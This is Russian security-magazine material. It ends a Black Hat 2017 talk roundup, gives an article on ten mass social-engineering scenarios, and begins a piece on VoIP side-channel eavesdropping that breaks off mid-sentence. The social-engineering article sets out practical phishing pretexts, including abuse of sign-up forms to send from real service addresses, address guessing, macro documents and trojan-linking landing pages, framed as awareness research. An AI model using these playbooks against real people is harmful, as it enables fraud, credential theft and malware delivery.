и  затем  обра баты вает  их  таким  обра зом,  что бы  запус тился  вре донос ный
скрипт.

Для  зло упот ребле ния  скрипт‐гад жетом  зло умыш ленник  дела ет  на  стра‐ 
нице‐жер тве  JS‐инъ екцию,  которая  выг лядит  как  впол не  закон ный  JS‐код,
но  может  «оши боч но»  уве личи вать  при виле гии  дос тупа  к  обра баты ваемо му
DOM‐эле мен ту.  Впос ледс твии  скрипт‐гад жет  запус кает  находя щиеся
под кон тро лем зло умыш ленни ка скрип ты. Пос коль ку пер воначаль но имплан‐ 
тирован ный эле мент выг лядит доб рокачес твен ным, он лег ко про ходит мимо
XSS‐бло кира торов.

В пред лага емом док ладе про демонс три рова но,  что скрипт‐гад жеты при‐ 
сутс тву ют прак тичес ки во всех сов ремен ных JS‐биб лиоте ках, API и веб‐соф‐ 
те. В док ладе пред став лено нес коль ко темати чес ких иссле дова ний и реаль‐ 
ные при меры из дикой при роды, демонс три рующие, что подав ляющее боль‐ 
шинс тво ныне сущес тву ющих методов про тиво дей ствия XSS несос тоятель ны.

ELECTRONEGATIVITY: ИССЛЕДОВАНИЕ БЕЗОПАСНОСТИ ELECTRON
Luca Carettoni. Electronegativity: A Study of Electron Security // Black Hat. 2017

Воп реки  мно гочис ленным  про рочес твам,  ста рые  доб рые  «нас толь ные
при ложе ния»  с  недав него  вре мени  вновь  обре ли  популяр ность. Пос ле  нес‐ 
коль ких  лет  перено са  авто ном ных  при ложе ний  в  интернет  мы  сегод ня  наб‐ 
люда ем  обратную  тен денцию. Мно гие  ком пании  начали  пре дос тавлять  нас‐ 
толь ные вер сии сво их при ложе ний, исполь зуя при этом те же тех нологии, что
и при раз работ ке веб‐соф та. Один из самых популяр ных фрей мвор ков, обес‐ 
печива ющих такую воз можность, — GitHub’овский Electron, который поз воля‐ 
ет соз давать кросс‐плат формен ные нас толь ные при ложе ния на осно ве таких
тех нологий, как JavaScript, HTML и CSS. Хотя подоб ный шаг на пер вый взгляд
кажет ся  весь ма  лаконич ным,  встра ива ние  веб‐тех нологий  в  авто ном ную
веб‐сре ду (Chromium, Node.js) порож дает новые проб лемы с кибер безопас‐ 
ностью.

В этом док ладе про иллюс три рова на Electron’овская модель безопас ности
и  опи сан  механизм  изо ляции,  огражда ющий  при мити вы  Node.js  от  сом‐ 
нитель ного  кон тента. Под робно опи саны  внут ренние  ком понен ты Electron’а,
в  том  чис ле  обмен  IPC‐сооб щени ями  и  пред загруз ка.  Так же  пред став лены
резуль таты ана лиза опций безопас ности для BrowserWindow и WebView, архи‐ 
тек турные изъ яны и ошиб ки реали зации в при ложе ниях, пос тро енных на базе
Electron’a.

Кро ме  того,  в  рам ках  сво его  иссле дова ния  по  безопас ности  Electron’а
док ладчик  пред ста вил  кар ту  общей  повер хнос ти  атак  и  при вел  исчерпы‐ 
вающий  кон троль ный  спи сок  анти шаб лонов.  Так же  док ладчик  анон сировал
свой новый инс тру мент (Electronegativity), пред назна чен ный для авто мати чес‐ 
кого поис ка уяз вимос тей в при ложе ниях, раз работан ных на осно ве Electron’а.

КАК НОВОМОДНЫЕ ВЕБ-СТАНДАРТЫ И НАГРОМОЖДЕНИЕ
СПЕЦИФИКАЦИЙ ПРИВОДЯТ К ВОЗНИКНОВЕНИЮ КРИТИЧЕСКИХ
ОШИБОК В СКРИПТОВЫХ ДВИЖКАХ
Natalie Silvanovich.  The Origin  of  Array: How Standards Drive Bugs  in Script  En‐
gines // Black Hat. 2017

Веб‐стан дарты  пос тоян но  эво люци они руют  и  пос тоян но  дик туют  новые
тре бова ния к  тому, что при дер жива ющиеся этих стан дартов бра узе ры могут
делать. Одна ко новые воз можнос ти, опи сыва емые эти ми стан дарта ми, так же
при водят  и  к  новым  проб лемам  с  безопас ностью,  новым  уяз вимос тям.
Потому  что  для  реали зации  этих  воз можнос тей  уже  сущес тву ющая фун кци‐ 
ональ ность исполь зует ся новым, незап ланиро ван ным спо собом.

Док ладчик  обсужда ет  некото рые  из  наибо лее  инте рес ных  и  необыч ных
осо бен ностей JavaScript, с появ лени ем которых в JS‐движ ке так же появи лись
и  новые  кри тичес кие  уяз вимос ти,  которым  под верже ны  самые  раз нооб‐ 
разные скрип товые движ ки, в том чис ле Adobe Flash, Chrome, Microsoft Edge
и Safari.

В док ладе доход чиво объ ясня ется, как новомод ные веб‐стан дарты и наг‐ 
ромож дение спе цифи каций друг на дру га (как это про исхо дит в сов ремен ных
скрип товых  движ ках)  при водят  к  воз никно вению  неус тра нимых  кри тичес ких
оши бок. При этом в док ладе акцент сде лан не на перечис лении кон крет ных
оши бок, а на объ ясне нии того, почему эти ошиб ки неиз бежно воз ника ют.

Док ладчик объ ясня ет, что наг ромож дение спе цифи каций (для реали зации
обновлен ной  фун кци ональ нос ти),  как  пра вило,  негатив но  ска зыва ется
на  безопас ности  кода  скрип тового  движ ка.  Но  соб лазн  вос поль зовать ся
более новой и более  удоб ной фун кци ей — даже нес мотря  на  то,  что  новая
вер сия скрип тового движ ка, в которой эта фун кция реали зова на, более уяз‐ 
вима, — берет верх над здра вым смыс лом.

Пос ледс твия  наг ромож дения  спе цифи каций  про иллюс три рова ны  реали‐ 
заци ей  мас сива  (который  на  сегод няшний  день  пред став ляет  собой  смесь
филь тров, умной индекса ции, сме шан ных типов, под клас сов, мно гопо точ ного
дос тупа и дру гих кон цепций). Док ладчик объ ясня ет, что негатив ные пос ледс‐ 
твия  для  безопас ности  воз ника ют  в  том  чис ле  из‐за  того,  что  реали зация
мас сивов в одном бра узе ре, как пра вило, несов мести ма с его реали заци ей
в дру гом бра узе ре. Почему так про исхо дит? Иног да из‐за того, что раз работ‐ 
чики  скрип товых  движ ков  не  до  кон ца  поняли  отрасле вой  стан дарт,  регули‐ 
рующий  работу  скрип тового  движ ка;  иног да  из‐за  того,  что  какие‐то  пун кты
это го  стан дарта  сфор мулиро ваны  неод нознач но…  И  так  не  толь ко  с  мас‐ 
сивами, но и со все ми осталь ными ком понен тами скрип товых движ ков.

WCD-АТАКА: ФАЛЬСИФИКАЦИЯ ВЕБ-КЕША
Omer Gil. Web Cache Deception Attack // Black Hat. 2017

WCD‐ата ка (Web Cache Deception; фаль сифика ция веб‐кеша) — это новый
век тор  веб‐атак,  который  ста вит  под  угро зу  широкое  раз нооб разие  самых
сов ремен ных  веб‐тех нологий  и  фрей мвор ков.  Манипу лируя  поведе нием
веб‐сер веров  и  механиз мами  кеширо вания  веб‐кон тента,  ано ним ные  зло‐ 
умыш ленни ки  могут  ском про мети ровать  кон фиден циаль ную  информа цию
авто ризо ван ных поль зовате лей веб‐соф та, а в некото рых слу чаях даже могут
зах ватить пол ный кон троль над их учет ными запися ми.

WCD‐ата ка  на  удив ление  прос та  в  исполне нии.  В  док ладе  пред став лено
ее под робное опи сание, необ ходимые для ее про веде ния пред посыл ки и то,
каким  обра зом  безопас ники  пыта ются  от  нее  защищать ся.  Пре зен тация
WCD‐ата ки  соп ровож дает ся  демонс тра цией  поведе ния  раз личных  веб‐сер‐ 
веров и механиз мов веб‐кеширо вания. Док лад завер шает ся при мера ми уяз‐ 
вимых для WCD‐ата ки сай тов и демонс тра цион ной ата кой.

ЗАКЛЮЧЕНИЕ
На  этом  наш  обзор  закон чен.  Зна ешь  дру гие  инте рес ные  пре зен тации?
Кидай  ссыл ки  в  ком менты!  Мы  всег да  рады  обратной  свя зи  от  читате лей.
Которые, кста ти, иног да потом ста новят ся нашими писате лями. :)
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ВЗЛОМ

Со циаль ная инже нерия обыч но счи тает ся частью тар гетиро‐ 
ван ной ата ки, но что, если при менять подоб ные схе мы мас‐ 
сово? Я раз работал и про тес тировал десять таких сце нари‐ 
ев, что бы понять, как люди будут на них реаги ровать и какие
могут быть пос ледс твия.

Я час то слы шу, что сре ди всех видов атак на орга низа ции соци аль ная инже‐ 
нерия счи тает ся яко бы самым раз рушитель ным и опас ным. Но почему же тог‐ 
да на каж дой кон ферен ции по информа цион ной безопас ности это му воп росу
не отво дит ся отдель ный блок?

При  этом  боль шинс тво  кей сов  в  рус ско гово рящем  сег менте  интерне та
при водит ся  из  инос тран ных  источни ков  и  исто рий  Кевина  Мит ника.  Я
не  утвер ждаю,  что  в  Рунете  таких  слу чаев  мало,  прос то  о  них  почему‐то
не говорят. Я решил разоб рать ся в том, нас коль ко в реаль нос ти опас на соци‐ 
аль ная инже нерия, и при кинуть, какими могут быть пос ледс твия ее мас сового
при мене ния.

Со циаль ная  инже нерия  в  ИБ  и  пен тестин ге  обыч но  ассо циирует ся
с точеч ной ата кой на кон крет ную орга низа цию. В этой под борке кей сов я хочу
рас смот реть нес коль ко спо собов при мене ния соци аль ной инже нерии, ког да
«ата ки» про изво дились мас сово (без раз бора) или мас сово‐тар гетиро ван но
(по орга низа циям опре делен ной сфе ры).

Да вай опре делим ся с поняти ями, что бы было ясно, что я имею в виду. Я
буду исполь зовать тер мин «соци аль ная инже нерия» в сле дующем зна чении:
«совокуп ность методов дос тижения цели, осно ван ная на исполь зовании сла‐ 
бос тей  челове ка». Не  всег да  это  что‐то  кри миналь ное,  но  это опре делен но
име ет  негатив ный  окрас  и  ассо циирует ся  с  обма ном,  мошен ничес твом,
манипу лиро вани ем и тому подоб ными вещами. А вот вся кие пси холо гичес кие
штуч ки по выбива нию скид ки в магази не — это не соци аль ная инже нерия.

Сра зу ска жу, в дан ной сфе ре я выс тупал лишь как иссле дова тель, никаких
вре донос ных сай тов и фай лов я не соз давал. Если кому‐то при ходи ло пись мо
от меня со ссыл кой на сайт, то этот сайт был безопа сен. Самое страш ное, что
там мог ло быть, — это отсле жива ние поль зовате ля счет чиком «Яндекс.Мет‐ 
рики».

На вер няка  ты  слы шал  про  спам  с  «акта ми  выпол ненных  работ»
или догово рами, в которые вши ты тро яны. Такой рас сылкой бух галте ров уже
не  уди вишь.  Или  всплы вающие  окна  с  «рекомен даци ями»  ска чать  пла гин
для прос мотра видео — это уже скуч но. Я раз работал нес коль ко менее оче‐ 
вид ных  сце нари ев и  пред став ляю их  здесь  в  качес тве  пищи для раз мышле‐ 
ний.  Наде юсь,  что  они  не  ста нут  руководс твом  к  дей ствию,  а,  наобо рот,
помогут сде лать Рунет безопас нее.

«ВЕРИФИЦИРОВАННЫЙ ОТПРАВИТЕЛЬ»1. 
Иног да  адми нис тра торы  сай тов  по  недос мотру  не  вклю чают  филь тра цию
поля «Имя» в фор ме регис тра ции (ска жем, при под писке на рас сылку или при
отправ ке какой‐нибудь заяв ки). Вмес то име ни мож но вста вить текст (иног да
килобай ты  тек ста)  и  ссыл ку  на  вре донос ный  сайт.  В  поле  email  встав ляем
адрес жер твы. Пос ле регис тра ции это му челове ку при дет пись мо от сер виса:
«Здравс твуй те,  ува жаемый…»,  а  даль ше — наш  текст  и  ссыл ка. Сооб щение
от сер виса будет в самом низу.

Как  это  прев ратить  в  ору жие  мас сового  пораже ния?  Эле мен тарно.  Вот
один слу чай из моей прак тики. В одном из поис ковиков в декаб ре 2017 года
была  обна руже на  воз можность  отправ ки  сооб щений  через фор му  при вяз ки
запас ного email. До  того как я выс лал отчет по прог рамме bug bounty, име‐ 
лась  воз можность  отправ лять  150  тысяч  сооб щений  в  сут ки —  нуж но  было
толь ко нем ного авто мати зиро вать запол нение фор мы.

Этот  трюк  поз воля ет  отправ лять  мошен ничес кие  пись ма  с  нас тояще го
адре са тех поддер жки сай та, со все ми циф ровыми под писями, шиф ровани ем
и так далее. Вот толь ко вся вер хняя часть ока зыва ется написан ной зло умыш‐ 
ленни ком. Такие пись ма при ходи ли и мне, при чем не толь ко от круп ных ком‐ 
паний вро де booking.com или paypal.com, но и от менее име нитых сай тов.

В  моем  тес те  по  ссыл ке  переш ло  око ло  10%  получа телей.  Ком мента рии
излишни.

А вот «тренд» апре ля 2018‐го.

Пись ма с Google Analytics
Рас ска жу о сов сем новом слу чае — за апрель 2018 года. С поч ты Google Ana‐
lytics  noreply‐analytics@google.com  на  нес коль ко  моих  адре сов  начал  при‐ 
ходить спам. Нем ного разоб равшись, я нашел спо соб, которым его отправ‐ 
ляют.

«Как это при менить?» — подумал я. И вот что приш ло на ум: мошен ник может
сде лать, нап ример, такой текст.

При  перехо де  по  ссыл ке  поль зователь  попадал  бы  на  под дель ный  сайт
и оставлял бы свой пароль.

Та кой сбор паролей мож но про вес ти не толь ко адресно, но и мас сово, нуж но
лишь нем ного авто мати зиро вать про цесс сбо ра доменов с Google Analytics
и пар синга email с этих сай тов.

«ЛЮБОПЫТСТВО»2. 
Этот  метод  зас тавить  челове ка  перей ти  по  ссыл ке  тре бует  некото рой  под‐ 
готов ки.  Соз дает ся  сайт  фей ковой  ком пании  с  уни каль ным  наз вани ем,
которое сра зу прив лека ет вни мание. Ну, нап ример, ООО «Загиба лиВы гиба‐ 
ли». Ждем, пока поис ковики его про индекси руют.

Те перь при думы ваем какой‐нибудь повод разос лать поз драв ления от име ни
этой  ком пании.  Получа тели  тут  же  нач нут  его  гуг лить  и  най дут  наш  сайт.
Конеч но, луч ше и само поз драв ление сде лать необыч ным, что бы получа тели
не  смах нули  пись мо  в  пап ку  со  спа мом.  Про ведя  неболь шой  тест,  я  лег ко
зарабо тал более тысячи перехо дов.

«ФЕЙКОВАЯ ПОДПИСКА НА РАССЫЛКУ»3. 
Вот сов сем уж прос той спо соб зас тавить челове ка перей ти на сайт по ссыл ке
в пись ме. Пишем текст: «Спа сибо, что под писались на нашу рас сылку! Ежед‐ 
невно вы будете получать прайс‐лист железо бетон ной про дук ции. С ува жени‐ 
ем,  ...». Даль ше добав ляем ссыл ку «Отпи сать ся от рас сылки», которая будет
вес ти  на  наш  сайт.  Конеч но,  ник то  на  эту  рас сылку  не  под писывал ся,  но  ты
уди вишь ся, узнав чис ло спеш но отпи сыва ющих ся.

«МАЙНИНГ ИМЕЙЛОВ»4. 
Что бы  сос тавить  свою  базу,  необя затель но  даже  писать  собс твен ный  кра‐ 
улер и обхо дить сай ты в поис ках пло хо лежащих адре сов. Дос таточ но спис ка
всех рус ско языч ных доменов, которых сей час нас читыва ется око ло пяти мил‐ 
лионов. Добав ляем к ним  , про веря ем получив шиеся адре са и в ито ге
име ем где‐то 500 тысяч рабочих почт. Точ но так же мож но при писы вать direc‐
tor,  dir,  admin,  buhgalter,  bg,  hr  и  так  далее.  Под  каж дый  из  этих  отде лов
готовим  пись мо,  рас сыла ем  и  получа ем  от  сотен  до  тысяч  отве тов  от  сот‐ 
рудни ков опре делен ной сфе ры деятель нос ти.

info@

«А ЧТО ЭТО ТАМ НАПИСАНО?»5. 
Что бы  заманить  поль зовате лей  с  какого‐нибудь форума или  сай та  с  откры‐ 
тыми ком мента риями, не нуж но выдумы вать заман чивые тек сты — дос таточ но
все го лишь запос тить  кар тинку. Прос то выбери что‐нибудь поп ривле катель‐ 
нее (какой‐нибудь мем) и ужми так, что бы раз личить текст было невоз можно.
Любопытс тво  неиз менно  зас тавля ет  поль зовате лей  кли кать  по  кар тинке.  Я
про вел  экспе римент  и  получил  таким  спо собом  око ло  10  тысяч  перехо дов.
А  еще  я  знаю  слу чай,  ког да  ребята  адап тирова ли  этот  метод  для  дос тавки
тро янов через ЖЖ.

«КАК ВАС ЗОВУТ?»6. 
Зас тавить поль зовате ля открыть файл или даже документ с мак росом не так
слож но, даже нес мотря на то, что мно гие слы шали о под сте рега ющих опас‐ 
ностях.  При мас совой  рас сылке  даже  прос то  зна ние  име ни  челове ка  серь‐ 
езно повыша ет шан сы на успех.

Нап ример, мы можем отпра вить пись мо с  тек стом «Этот email  еще акти‐ 
вен?»  или  «Напиши те,  пожалуй ста,  адрес  вашего  сай та».  В  отве те
как минимум в 10–20% слу чаев при дет имя отпра вите ля (чаще это встре чает‐ 
ся в круп ных ком пани ях). А через какое‐то вре мя пишем «Алё на, здравс твуй‐ 
те. Что такое с вашим сай том (фото при ложил)?» Или «Борис, доб рый день.
Никак  не  раз берусь  с  прай сом.  Мне  24‐я  позиция  нуж на.  Прайс  прик‐ 
ладываю». Ну а в прай се — баналь ная фра за «Для прос мотра содер жимого
вклю чите мак росы...», со все ми вытека ющи ми пос ледс тви ями.

В  общем,  пер сональ но  адре сован ные  сооб щения  откры вают ся  и  обра‐ 
баты вают ся на порядок чаще.

«МАССОВАЯ РАЗВЕДКА»7. 
Этот сце нарий — не столь ко ата ка, сколь ко под готов ка к ней. Пред положим,
мы хотим узнать имя какого‐то из важ ных сот рудни ков — нап ример, бух галте‐ 
ра  или  руково дите ля  служ бы  безопас ности.  Это  нес ложно  сде лать,  если
отпра вить  кому‐то  из  сот рудни ков,  которые  могут  обла дать  этой  информа‐ 
цией,  пись мо  сле дующе го  содер жания:  «Под ска жите,  пожалуй ста,  отчес тво
дирек тора и гра фик работы офи са. Нуж но отпра вить курь ера».

Вре мя  работы  спра шива ем,  что бы  замылить  гла за,  а  спра шивать  отчес‐ 
тво  —  это  трюк,  который  поз воля ет  не  выдавать,  что  мы  не  зна ем  име ни
и фамилии. И то и дру гое, ско рее все го, будет содер жать ся в отве те жер твы:
ФИО  чаще  все го  пишут  целиком.  Мне  в  ходе  иссле дова ния  уда лось  таким
обра зом соб рать ФИО более чем двух тысяч дирек торов.

Ес ли  нуж но  узнать  поч ту  началь ства,  то  мож но  сме ло  писать  сек ретарю:
«Здравс твуй те.  Дав но  не  общался  с  Андре ем  Борисо вичем,  его  адрес  an‐
drey.b@company.ru еще рабочий? А то ответ не получил от него. Роман Ген‐ 
надь евич».  Сек ретарь  видит  email,  выдуман ный  на  осно ве  нас тоящих  ФИО
дирек тора  и  содер жащий  сайт  ком пании,  и  дает  нас тоящий  адрес  Андрея
Борисо вича.

«ПЕРСОНАЛИЗИРОВАННОЕ ЗЛО»8. 
Ес ли  нуж но  зас тавить  отре аги ровать  на  пись мо  боль шое  количес тво  орга‐ 
низа ций, то пер вым делом надо искать болевые точ ки. Нап ример, магази нам
мож но  нап равлять жалобу  на  товар  и  гро зить  раз биратель ства ми:  «Если  вы
не решите мою проб лему, буду жаловать ся дирек тору! Это что вы мне такое
дос тавили (фото при лагаю)?! Пароль от архи ва 123». По базе авто сер висов
точ но  так же мож но рас сылать фотог рафию с полом кой и воп росом, смо гут
ли  отре мон тировать.  По  стро ите лям —  «про ект  дома».  В  моем  неболь шом
иссле дова нии на такие пись ма откли кались как минимум 10% получа телей.

«САЙТ НЕ РАБОТАЕТ»9. 
Ба зу сай тов с поч товыми адре сами вла дель цев лег ко прев ратить в перехо ды
на  любой  дру гой  сайт.  Отправ ляем  пись ма  с  тек стом  «Почему‐то  стра ница
вашего сай та www.site.ru/random.html не работа ет!». Ну и клас сичес кий при‐ 
ем: в  тек сте ссыл ки жер тва видит свой сайт, а сама ссыл ка ведет на дру гой
URL.

«МУЛЬТИЛЕНДИНГ»10. 
К это му спо собу нуж но будет под готовить ся. Соз даем сайт‐однос тра нич ник,
офор мля ем  под  новос тной  ресурс.  Ста вим  скрипт,  который  меня ет  текст
на сай те в зависи мос ти от того, по какой ссыл ке человек перешел.

Де лаем  рас сылку  по  базе,  сос тоящей  из  адре сов  и  наз ваний  ком паний.
В каж дом пись ме — уни каль ная ссыл ка на наш новос тной ресурс, нап ример

.  Параметр  1234  при вязы вает ся  к  опре делен ному  наз ванию
ком пании. Скрипт на сай те опре деля ет, по какой ссыл ке при шел посети тель,
и показы вает в тек сте наз вание ком пании, соот ветс тву ющее поч те из базы.

news.ru/?1234

Зай дя на  сайт,  сот рудник  уви дит  заголо вок  «Ком пания  ...  (наз вание  ком‐ 
пании  жер твы)  сно ва  бес чинс тву ет».  Далее  идет  корот кая  новость
с  какими‐нибудь небыли цами,  а  в  ней — ссыл ка  на  архив  с разоб лачитель‐ 
ными матери ала ми (тро яном).

ВЫВОДЫ
По нят но,  что  в  ата ках  на  круп ные  орга низа ции  мас совая  рас сылка
не поможет, — там нужен инди виду аль ный под ход. А вот малый биз нес,  где
слы хом не слы хива ли ни про какую соци аль ную инже нерию, лег ко может пос‐ 
тра дать от таких атак.
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ВЗЛОМ

VoIP‐телефо ния  пос тепен но  отво евы вает
позиции  у  тра дици онных мед но‐про вод ных
телефон ных сис тем, пос коль ку обес печива‐ 
ет более высокую про пус кную спо соб ность
при  мень шей  сто имос ти  раз верты вания.
В  2013  году  чис ло  VoIP‐або нен тов  сос‐ 
тавля ло  более  ,  что  уже
само по себе немало; а в 2017 году — 

.  Но  как  нас чет  кон фиден‐ 
циаль нос ти  VoIP‐перего воров?  Спо соб но
ли  сквоз ное  шиф рование,  при меня емое
в  VoIP‐соф те,  обес печить  эту  самую  кон‐ 
фиден циаль ность?

150  мил лионов
поч‐ 

ти  мил лиард

Та кие воп росы ста ли в осо бен ности зло бод невны ми 
, рас ска зав шего миру о тоталь ной прос лушке, которую пра витель ствен‐ 

ные спец служ бы вро де АНБ  (Агентство наци ональ ной безопас ности) и ЦПС
(Центр  пра витель ствен ной  свя зи)  ведут  при  помощи  шпи онско го  соф та
PRISM  и  BULLRUN  —  это му  соф ту,  как  ока зыва ется,  под  силу  даже 

.

пос ле откро вений Сно‐ 
уде на

шиф‐ 
рован ные перего воры

Ка ким же обра зом PRISM, BULLRUN и дру гой, им подоб ный софт извле‐ 
кает информа цию из голосо вого потока, переда ваемо го по зашиф рован ным
каналам?

Для  того  что бы  най ти  ответ  на  этот  воп рос,  нуж но  сна чала  разоб рать ся,
как в VoIP переда ется голосо вой тра фик. Канал переда чи дан ных в VoIP‐сис‐ 
темах,  как  пра вило,  реали зует ся  поверх  UDP‐про токо ла  и  наибо лее  час то
работа ет по про токо лу SRTP (Secure Real‐time Transport Protocol — про токол
защищен ной переда чи дан ных в режиме реаль ного вре мени),  который под‐ 
держи вает  упа ков ку  (пос редс твом  ауди око деков)  и  шиф рование  ауди опо‐ 
тока. При этом шиф рован ный поток, который получа ется на выходе, име ет тот
же  самый  раз мер,  что  и  вход ной  ауди опо ток.  Как  будет  показа но  ниже,
подоб ные, казалось бы, нез начитель ные утеч ки информа ции мож но исполь‐ 
зовать для  .прос лушива ния «шиф рован ных» VoIP‐перего воров

ЧТО ЗЛОУМЫШЛЕННИК МОЖЕТ ИЗВЛЕЧЬ ИЗ ЗАШИФРОВАННОГО
АУДИОПОТОКА
Боль шинс тво  из  тех  ауди око деков,  которые  при меня ются  в  VoIP‐сис темах,
осно ваны  на    (Code‐Excited  Linear  Prediction  —  кодовое
линей ное  пред ска зание),  фун кци ональ ные  бло ки  которо го  пред став лены
на  рисун ке  ниже.  Что бы  добить ся  более  высоко го  качес тва  зву ка  без  уве‐ 
личе ния  наг рузки  на  канал  переда чи  дан ных,  VoIP‐софт  обыч но  исполь зует
ауди око деки  в  VBR‐режиме  (Variable  bit‐rate  —  ауди опо ток  с  перемен ным
бит рей том). По такому прин ципу работа ет, нап ример, ауди око дек Speex.

CELP‐алго рит ме

Фун кци ональ ные бло ки алго рит ма CELP

К чему это при водит в пла не кон фиден циаль нос ти? Прос той при мер. Speex,
работая  в  VBR‐режиме,  упа ковы вает шипящие сог ласные мень шим бит рей‐ 
том, чем глас ные, и более того — даже опре делен ные глас ные и сог ласные
зву ки  упа ковы вает  спе цифи чес ким  для  них  бит рей том.  Гра фик  на  рисун ке
ниже  показы вает  рас пре деле ние  длин  пакетов  для  фра зы,  в  которой  есть
шипящие сог ласные: Speed skaters sprint  to  the finish. Глу бокие впа дины гра‐ 
фика  при ходят ся  имен но  на  шипящие  фраг менты  этой  фра зы.  На  рисун ке
пред став лена  ( )  динами ка  вход ного  ауди опо тока,  бит рей та  и  раз‐ 
мера выход ных (зашиф рован ных) пакетов, наложен ная на общую шка лу вре‐ 
мени;  порази тель ное  сходс тво  вто рого  и  треть его  гра фиков  мож но  видеть
нево ору жен ным взгля дом.

ис точник

Как шипящие зву ки вли яют на раз мер пакетов

Плюс, если на рисунок пос мотреть через приз му матема тичес кого аппа рата
циф ровой  обра бот ки  сиг налов  (который  исполь зует ся  в  задачах  рас позна‐ 
вания  речи),  вро де    (Profile  Hidden  Markov  Models  —  рас‐ 
ширен ный  вари ант  скры той  мар ков ской  модели),  то  мож но  будет  уви деть
нам ного боль ше, чем прос то отли чие глас ных зву ков от сог ласных. 
 иден тифици ровать пол, воз раст, язык и эмо ции говоря щего.

PHMM‐авто мата

В том чис‐ 
ле

АТАКА НА VOIP ПО ОБХОДНЫМ КАНАЛАМ
PHMM‐авто мат  очень  хорошо  справ ляет ся  с  обра бот кой  чис ловых  цепочек,
с их срав нени ем меж ду собой и нахож дени ем законо мер ностей меж ду ними.
Имен но поэто му PHMM‐авто мат широко исполь зует ся в решении задач рас‐ 
позна вания речи.

Кро ме того, PHMM‐авто мат ока зыва ется полез ным и для прос лушива ния
зашиф рован ного  ауди опо тока.  Но  не  нап рямую,  а  по  обходным  каналам.
Ина че  говоря,  PHMM‐авто мат  не  может  пря мо  отве тить  на  воп рос:  «Какая
фра за  содер жится  в  этой  цепоч ке  шиф рован ных  ауди опа кетов?»,  но  может
с  боль шой  точ ностью  отве тить  на  воп рос:  «Содер жится  ли  такая‐то  фра за
в таком‐то мес те такого‐то зашиф рован ного ауди опо тока?»

Та ким  обра зом,  PHMM‐авто мат  может  рас позна вать  толь ко  те  фра зы,
на которые его изна чаль но нат рениро вали. Одна ко сов ремен ные тех нологии
глу боко го обу чения нас толь ко могущес твен ны, что спо соб ны нат рениро вать
PHMM‐авто мат  до  такой  сте пени,  что  для  него фак тичес ки  сти рает ся  грань
меж ду  дву мя  озву чен ными  чуть  выше  воп росами.  Что бы  оце нить  всю  мощь
дан ного под хода, нуж но слег ка пог рузить ся в мат часть.

НЕСКОЛЬКО СЛОВ О DTW-АЛГОРИТМЕ
DTW‐алго ритм  (Dynamic Time Warping — динами чес кая  тран сфор мация вре‐ 
мен ной шка лы)  до  недав него  вре мени широко исполь зовал ся  при решении
задач  иден тифика ции  говоря щего  и  рас позна вания  речи.  Он  спо собен
находить  сходс тва  меж ду  дву мя  чис ловыми  цепоч ками,  сге нери рован ными
по одно му и тому же закону, — даже ког да эти цепоч ки генери руют ся с раз‐ 
ной ско ростью и рас полага ются в раз ных мес тах шка лы вре мени. Это имен но
то, что про исхо дит при оциф ровке ауди опо тока. Нап ример, говоря щий может
про изнести одну и ту же фра зу с одним и тем же акцентом, но при этом быс‐ 
трее или мед леннее, с раз ным фоновым шумом. Это не помеша ет DTW‐алго‐ 
рит му най ти сходс тва меж ду пер вым и вто рым вари антом. Что бы про иллюс‐ 
три ровать на при мере, рас смот рим две целочис ленные цепоч ки:

0 0 0 4 7 14 26 23 8 3 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 5 6 13 25 24 9 4 2 0 0 0 0 0

Ес ли срав нивать эти две цепоч ки «в лоб», то они, оче вид но, силь но отли чают‐ 
ся друг от дру га. Одна ко если мы срав ним их харак терис тики, то уви дим, что
цепоч ки опре делен но име ют некото рое сходс тво: обе они сос тоят из вось ми
целых чисел, обе име ют схо жее пиковое зна чение (25–26). «Лобовое» срав‐ 
нение, начина ющееся от их точек вхо да, игно риру ет эти важ ные харак терис‐ 
тики.  Но  DTW‐алго ритм,  срав нивая  две  цепоч ки,  учи тыва ет  их  и  дру гие
показа тели. Одна ко мы не будем силь но акценти ровать ся на DTW‐алго рит ме,
пос коль ку  на  сегод няшний  день  есть  более  эффектив ная  аль тер натива  —
PHMM‐авто маты.

Эк спе римен таль но  ,  что  PHMM‐авто маты  «опоз нают»
фра зы из зашиф рован ного ауди опо тока с 90%‐й точ ностью,  тог да как DTW‐
алго ритм  дает  толь ко  80%‐ю  гаран тию.  Поэто му  DTW‐алго ритм  (который
в годы сво его рас цве та был популяр ным инс тру мен том в решении задач рас‐ 
позна вания речи) упо мина ем лишь для того, что бы показать, нас коль ко луч ше
в  срав нении  с  ним PHMM‐авто маты  (в  час тнос ти,  при  рас позна вании шиф‐ 
рован ного  ауди опо тока).  Конеч но,  DTW‐алго ритм  обу чает ся  зна читель но
быс трее,  чем PHMM‐авто маты. Это его пре иму щес тво неос поримо. Одна ко
при сов ремен ных вычис литель ных мощ ностях оно не будет прин ципи аль ным.

бы ло  уста нов лено

ПРИНЦИП ДЕЙСТВИЯ HMM-АВТОМАТОВ
  (прос то  HMM,  а  не  PHMM)  пред став ляет  собой  инс тру мент  ста тис‐ 

тичес кого  модели рова ния,  который  генери рует  чис ловые  цепоч ки,  сле дуя
сис теме,  задан ной  детер миниро ван ным  конеч ным  авто матом,  каж дая
из  переход ных фун кций  которо го  пред став ляет  собой  так  называ емый мар‐ 
ков ский  про цесс.  Работа  это го  авто мата  всег да  начина ется  с  сос тояния  B
(begin)  и  закан чива ется  сос тоянием  E  (end).  Выбор  оче ред ного  сос тояния,
в  которое  будет  выпол нен  переход  из  текуще го,  дела ется  в  соот ветс твии
с  переход ной  фун кци ей  текуще го  сос тояния.  По  мере  прод вижения  меж ду
сос тояниями  HMM‐авто мат  на  каж дом  шаге  выда ет  по  одно му  чис лу,
из  которых фор миру ется выход ная цепоч ка  чисел. Ког да HMM‐авто мат ока‐ 
зыва ется в сос тоянии E, фор мирова ние цепоч ки закан чива ется.

HMM

При помощи HMM‐авто мата мож но находить законо мер ности в цепоч ках,
которые  внеш не  выг лядят  слу чай ными.  Нап ример,    это  дос тоинс тво
HMM‐авто мата исполь зует ся для нахож дения законо мер ности меж ду цепоч‐ 
кой  длин  пакетов  и  целевой  фра зой,  наличие  которой  мы  про веря ем
в зашиф рован ном VoIP‐потоке.

здесь

При мер HMM‐авто мата

Хо тя  сущес тву ет  боль шое  количес тво  воз можных  путей,  по  которым  HMM‐
авто мат  может  прой ти  из  точ ки  B  в  точ ку  E  (в  нашем  слу чае  при  упа ков ке
отдель но взя того ауди офрагмен та), все же для каж дого кон крет ного при мера
